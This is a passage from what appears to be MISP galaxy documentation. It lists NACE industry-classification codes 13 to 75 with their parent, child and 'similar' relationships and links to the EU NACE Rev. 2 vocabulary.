- parent-of: misp-galaxy:NACE="131" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="132" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="133" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="139" with estimative-language:likelihood-probability="likely"

Table 11837. Table References

Links
http://data.europa.eu/ux2/nace2/13

14

The tag is: *misp-galaxy:NACE="14"*

View relationships graph

14 has relationships with:

- child-of: misp-galaxy:NACE="C" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="141" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="142" with estimative-language:likelihood-probability="likely"

Table 11838. Table References

Links
http://data.europa.eu/ux2/nace2/14

15

The tag is: *misp-galaxy:NACE="15"*

View relationships graph

15 has relationships with:

- similar: misp-galaxy:NACE="16" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:NACE="16" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="C" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="151" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="152" with estimative-language:likelihood-probability="likely"

Table 11839. Table References

Links
http://data.europa.eu/ux2/nace2/15

16

The tag is: *misp-galaxy:NACE="16"*

View relationships graph

16 has relationships with:

- child-of: misp-galaxy:NACE="C" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="161" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="162" with estimative-language:likelihood-probability="likely"

Table 11840. Table References

Links
http://data.europa.eu/ux2/nace2/16

17

The tag is: *misp-galaxy:NACE="17"*

View relationships graph

17 has relationships with:

- child-of: misp-galaxy:NACE="C" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="171" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="172" with estimative-language:likelihood-probability="likely"

Table 11841. Table References

Links
http://data.europa.eu/ux2/nace2/17

18

The tag is: *misp-galaxy:NACE="18"*

View relationships graph

18 has relationships with:

- similar: misp-galaxy:NACE="74" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="82" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="C" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="181" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="182" with estimative-language:likelihood-probability="likely"

Table 11842. Table References

Links
http://data.europa.eu/ux2/nace2/18

19

The tag is: *misp-galaxy:NACE="19"*

View relationships graph

19 has relationships with:

- child-of: misp-galaxy:NACE="C" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="191" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="192" with estimative-language:likelihood-probability="likely"

Table 11843. Table References

Links
http://data.europa.eu/ux2/nace2/19

20

The tag is: *misp-galaxy:NACE="20"*

View relationships graph

20 has relationships with:

- similar: misp-galaxy:NACE="38" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="C" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:NACE="201" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="202" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="203" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="204" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="205" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="206" with estimative-language:likelihood-probability="likely"

Table 11844. Table References

Links
http://data.europa.eu/ux2/nace2/20

21

The tag is: *misp-galaxy:NACE="21"*

View relationships graph

21 has relationships with:

- child-of: misp-galaxy:NACE="C" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="212" with estimative-language:likelihood-probability="likely"

Table 11845. Table References

Links
http://data.europa.eu/ux2/nace2/21

22

The tag is: *misp-galaxy:NACE="22"*

View relationships graph

22 has relationships with:

- child-of: misp-galaxy:NACE="C" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="221" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="222" with estimative-language:likelihood-probability="likely"

Table 11846. Table References

Links
http://data.europa.eu/ux2/nace2/22

23

The tag is: *misp-galaxy:NACE="23"*

View relationships graph

23 has relationships with:

- similar: misp-galaxy:NACE="13" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="22" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="C" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="231" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="232" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="233" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="234" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="235" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="236" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="237" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="239" with estimative-language:likelihood-probability="likely"

Table 11847. Table References

Links
http://data.europa.eu/ux2/nace2/23

24

The tag is: *misp-galaxy:NACE="24"*

View relationships graph

24 has relationships with:

- child-of: misp-galaxy:NACE="C" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="241" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="242" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="243" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="244" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="245" with estimative-language:likelihood-probability="likely"

Table 11848. Table References

Links

http://data.europa.eu/ux2/nace2/24

25

The tag is: *misp-galaxy:NACE="25"*

View relationships graph

25 has relationships with:

- child-of: misp-galaxy:NACE="C" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="251" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="252" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="253" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="254" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="255" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="256" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="259" with estimative-language:likelihood-probability="likely"

Table 11849. Table References

Links
http://data.europa.eu/ux2/nace2/25

26

The tag is: *misp-galaxy:NACE="26"*

View relationships graph

26 has relationships with:

- similar: misp-galaxy:NACE="28" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="32" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="C" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="261" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="262" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="263" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="264" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="265" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="266" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="267" with estimative-language:likelihood-probability="likely"

Table 11850. Table References

Links
http://data.europa.eu/ux2/nace2/26

27

The tag is: *misp-galaxy:NACE="27"*

View relationships graph

27 has relationships with:

- similar: misp-galaxy:NACE="26" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="28" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="C" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="271" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="272" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="273" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="274" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="275" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="279" with estimative-language:likelihood-probability="likely"

Table 11851. Table References

Links
http://data.europa.eu/ux2/nace2/27

28

The tag is: *misp-galaxy:NACE="28"*

View relationships graph

28 has relationships with:

- child-of: misp-galaxy:NACE="C" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="281" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="282" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="283" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="284" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="289" with estimative-language:likelihood-probability="likely"

Table 11852. Table References

Links
http://data.europa.eu/ux2/nace2/28

29

The tag is: *misp-galaxy:NACE="29"*

View relationships graph

29 has relationships with:

- similar: misp-galaxy:NACE="23" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="27" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="28" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="C" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="291" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="292" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="293" with estimative-language:likelihood-probability="likely"

Table 11853. Table References

Links
http://data.europa.eu/ux2/nace2/29

30

The tag is: *misp-galaxy:NACE="30"*

View relationships graph

30 has relationships with:

- similar: misp-galaxy:NACE="28" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="C" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="301" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="302" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="303" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="304" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="309" with estimative-language:likelihood-probability="likely"

Table 11854. Table References

Links
http://data.europa.eu/ux2/nace2/30

31

The tag is: *misp-galaxy:NACE="31"*

View relationships graph

31 has relationships with:

- child-of: misp-galaxy:NACE="C" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="310" with estimative-language:likelihood-probability="likely"

Table 11855. Table References

Links
http://data.europa.eu/ux2/nace2/31

32

The tag is: *misp-galaxy:NACE="32"*

View relationships graph

32 has relationships with:

- similar: misp-galaxy:NACE="27" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="C" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="321" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="322" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="323" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="324" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="325" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="329" with estimative-language:likelihood-probability="likely"

Table 11856. Table References

Links
http://data.europa.eu/ux2/nace2/32

33

The tag is: *misp-galaxy:NACE="33"*

View relationships graph

33 has relationships with:

- similar: misp-galaxy:NACE="30" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="C" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="331" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="332" with estimative-language:likelihood-probability="likely"

Table 11857. Table References

Links
http://data.europa.eu/ux2/nace2/33

35

The tag is: *misp-galaxy:NACE="35"*

View relationships graph

35 has relationships with:

- similar: misp-galaxy:NACE="52" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="D" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="351" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="352" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="353" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="354" with estimative-language:likelihood-probability="likely"

Table 11858. Table References

Links
http://data.europa.eu/ux2/nace2/35

36

The tag is: *misp-galaxy:NACE="36"*

View relationships graph

36 has relationships with:

- child-of: misp-galaxy:NACE="E" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="360" with estimative-language:likelihood-probability="likely"

Table 11859. Table References

Links
http://data.europa.eu/ux2/nace2/36

37

The tag is: *misp-galaxy:NACE="37"*

View relationships graph

37 has relationships with:

- child-of: misp-galaxy:NACE="E" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="370" with estimative-language:likelihood-probability="likely"

Table 11860. Table References

Links
http://data.europa.eu/ux2/nace2/37

38

The tag is: *misp-galaxy:NACE="38"*

View relationships graph

38 has relationships with:

- child-of: misp-galaxy:NACE="E" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="381" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="382" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="383" with estimative-language:likelihood-probability="likely"

Table 11861. Table References

Links
http://data.europa.eu/ux2/nace2/38

39

The tag is: *misp-galaxy:NACE="39"*

View relationships graph

39 has relationships with:

- child-of: misp-galaxy:NACE="E" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="390" with estimative-language:likelihood-probability="likely"

Table 11862. Table References

Links

http://data.europa.eu/ux2/nace2/39

41

The tag is: *misp-galaxy:NACE="41"*

View relationships graph

41 has relationships with:

- child-of: misp-galaxy:NACE="F" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="410" with estimative-language:likelihood-probability="likely"

Table 11863. Table References

Links
http://data.europa.eu/ux2/nace2/41

42

The tag is: *misp-galaxy:NACE="42"*

View relationships graph

42 has relationships with:

- similar: misp-galaxy:NACE="43" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="F" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="421" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="422" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="429" with estimative-language:likelihood-probability="likely"

Table 11864. Table References

Links
http://data.europa.eu/ux2/nace2/42

43

The tag is: *misp-galaxy:NACE="43"*

View relationships graph

43 has relationships with:

- similar: misp-galaxy:NACE="42" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="82" with estimative-language:likelihood-probability="likely"

- child-of: misp-galaxy:NACE="F" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="431" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="432" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="433" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="434" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="435" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="436" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="439" with estimative-language:likelihood-probability="likely"

Table 11865. Table References

Links
http://data.europa.eu/ux2/nace2/43

46

The tag is: *misp-galaxy:NACE="46"*

View relationships graph

46 has relationships with:

- similar: misp-galaxy:NACE="82" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="82" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="G" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="461" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="462" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="463" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="464" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="465" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="466" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="467" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="468" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="469" with estimative-language:likelihood-probability="likely"

Table 11866. Table References

Links
http://data.europa.eu/ux2/nace2/46

47

The tag is: *misp-galaxy:NACE="47"*

View relationships graph

47 has relationships with:

- similar: misp-galaxy:NACE="82" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="82" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="G" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="471" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="472" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="473" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="474" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="475" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="476" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="477" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="478" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="479" with estimative-language:likelihood-probability="likely"

Table 11867. Table References

Links
http://data.europa.eu/ux2/nace2/47

49

The tag is: *misp-galaxy:NACE="49"*

View relationships graph

49 has relationships with:

- child-of: misp-galaxy:NACE="H" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="491" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="492" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="493" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="494" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="495" with estimative-language:likelihood-probability="likely"

Table 11868. Table References

Links
http://data.europa.eu/ux2/nace2/49

50

The tag is: *misp-galaxy:NACE="50"*

View relationships graph

50 has relationships with:

- child-of: misp-galaxy:NACE="H" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="501" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="502" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="503" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="504" with estimative-language:likelihood-probability="likely"

Table 11869. Table References

Links
http://data.europa.eu/ux2/nace2/50

51

The tag is: *misp-galaxy:NACE="51"*

View relationships graph

51 has relationships with:

- child-of: misp-galaxy:NACE="H" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="511" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="512" with estimative-language:likelihood-probability="likely"

Table 11870. Table References

Links
http://data.europa.eu/ux2/nace2/51

52

The tag is: *misp-galaxy:NACE="52"*

View relationships graph

52 has relationships with:

- similar: misp-galaxy:NACE="49" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="79" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="82" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="H" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="521" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="522" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="523" with estimative-language:likelihood-probability="likely"

Table 11871. Table References

Links
http://data.europa.eu/ux2/nace2/52

53

The tag is: *misp-galaxy:NACE="53"*

View relationships graph

53 has relationships with:

- similar: misp-galaxy:NACE="82" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="96" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="H" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="531" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="532" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="533" with estimative-language:likelihood-probability="likely"

Table 11872. Table References

Links
http://data.europa.eu/ux2/nace2/53

55

The tag is: *misp-galaxy:NACE="55"*

View relationships graph

55 has relationships with:

- similar: misp-galaxy:NACE="68" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="79" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="82" with estimative-language:likelihood-probability="likely"

- child-of: misp-galaxy:NACE="I" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="551" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="552" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="553" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="554" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="559" with estimative-language:likelihood-probability="likely"

Table 11873. Table References

Links
http://data.europa.eu/ux2/nace2/55

56

The tag is: *misp-galaxy:NACE="56"*

View relationships graph

56 has relationships with:

- similar: misp-galaxy:NACE="79" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="82" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="I" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="561" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="562" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="563" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="564" with estimative-language:likelihood-probability="likely"

Table 11874. Table References

Links
http://data.europa.eu/ux2/nace2/56

58

The tag is: *misp-galaxy:NACE="58"*

View relationships graph

58 has relationships with:

- similar: misp-galaxy:NACE="74" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="90" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="J" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:NACE="581" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="582" with estimative-language:likelihood-probability="likely"

Table 11875. Table References

Links
http://data.europa.eu/ux2/nace2/58

59

The tag is: *misp-galaxy:NACE="59"*

View relationships graph

59 has relationships with:

- child-of: misp-galaxy:NACE="J" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="591" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="592" with estimative-language:likelihood-probability="likely"

Table 11876. Table References

Links
http://data.europa.eu/ux2/nace2/59

60

The tag is: *misp-galaxy:NACE="60"*

View relationships graph

60 has relationships with:

- similar: misp-galaxy:NACE="58" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="59" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:NACE="63" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="J" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="601" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="602" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="603" with estimative-language:likelihood-probability="likely"

Table 11877. Table References

Links
http://data.europa.eu/ux2/nace2/60

61

The tag is: *misp-galaxy:NACE="61"*

View relationships graph

61 has relationships with:

- similar: misp-galaxy:NACE="82" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="K" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="611" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="612" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="619" with estimative-language:likelihood-probability="likely"

Table 11878. Table References

Links
http://data.europa.eu/ux2/nace2/61

62

The tag is: *misp-galaxy:NACE="62"*

View relationships graph

62 has relationships with:

- child-of: misp-galaxy:NACE="K" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="621" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="622" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="629" with estimative-language:likelihood-probability="likely"

Table 11879. Table References

Links
http://data.europa.eu/ux2/nace2/62

63

The tag is: *misp-galaxy:NACE="63"*

View relationships graph

63 has relationships with:

- similar: misp-galaxy:NACE="52" with estimative-language:likelihood-probability="likely"

- child-of: misp-galaxy:NACE="K" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="631" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="639" with estimative-language:likelihood-probability="likely"

Table 11880. Table References

Links
http://data.europa.eu/ux2/nace2/63

64

The tag is: *misp-galaxy:NACE="64"*

View relationships graph

64 has relationships with:

- child-of: misp-galaxy:NACE="L" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="641" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="642" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="643" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="649" with estimative-language:likelihood-probability="likely"

Table 11881. Table References

Links
http://data.europa.eu/ux2/nace2/64

65

The tag is: *misp-galaxy:NACE="65"*

View relationships graph

65 has relationships with:

- child-of: misp-galaxy:NACE="L" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="651" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="652" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="653" with estimative-language:likelihood-probability="likely"

Table 11882. Table References

Links
http://data.europa.eu/ux2/nace2/65

66

The tag is: *misp-galaxy:NACE="66"*

View relationships graph

66 has relationships with:

- child-of: misp-galaxy:NACE="L" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="661" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="662" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="663" with estimative-language:likelihood-probability="likely"

Table 11883. Table References

Links
http://data.europa.eu/ux2/nace2/66

68

The tag is: *misp-galaxy:NACE="68"*

View relationships graph

68 has relationships with:

- similar: misp-galaxy:NACE="41" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="M" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="681" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="682" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="683" with estimative-language:likelihood-probability="likely"

Table 11884. Table References

Links
http://data.europa.eu/ux2/nace2/68

69

The tag is: *misp-galaxy:NACE="69"*

View relationships graph

69 has relationships with:

- child-of: misp-galaxy:NACE="N" with estimative-language:likelihood-probability="likely"

- parent-of: misp-galaxy:NACE="691" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="692" with estimative-language:likelihood-probability="likely"

Table 11885. Table References

Links
http://data.europa.eu/ux2/nace2/69

70

The tag is: *misp-galaxy:NACE="70"*

View relationships graph

70 has relationships with:

- child-of: misp-galaxy:NACE="N" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="701" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="702" with estimative-language:likelihood-probability="likely"

Table 11886. Table References

Links
http://data.europa.eu/ux2/nace2/70

71

The tag is: *misp-galaxy:NACE="71"*

View relationships graph

71 has relationships with:

- child-of: misp-galaxy:NACE="N" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="711" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="712" with estimative-language:likelihood-probability="likely"

Table 11887. Table References

Links
http://data.europa.eu/ux2/nace2/71

72

The tag is: *misp-galaxy:NACE="72"*

View relationships graph

72 has relationships with:

- child-of: misp-galaxy:NACE="N" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="721" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="722" with estimative-language:likelihood-probability="likely"

Table 11888. Table References

Links
http://data.europa.eu/ux2/nace2/72

73

The tag is: *misp-galaxy:NACE="73"*

View relationships graph

73 has relationships with:

- similar: misp-galaxy:NACE="70" with estimative-language:likelihood-probability="likely"
- child-of: misp-galaxy:NACE="N" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="731" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="732" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="733" with estimative-language:likelihood-probability="likely"

Table 11889. Table References

Links
http://data.europa.eu/ux2/nace2/73

74

The tag is: *misp-galaxy:NACE="74"*

View relationships graph

74 has relationships with:

- child-of: misp-galaxy:NACE="N" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="741" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="742" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="743" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:NACE="749" with estimative-language:likelihood-probability="likely"

Table 11890. Table References

Links
http://data.europa.eu/ux2/nace2/74

75

The tag is: *misp-galaxy:NACE="75"*

View relationships graph

75 has relationships with:

- child-of: misp-galaxy:NACE="N" with estimative-language:likelihood-probability="likely"
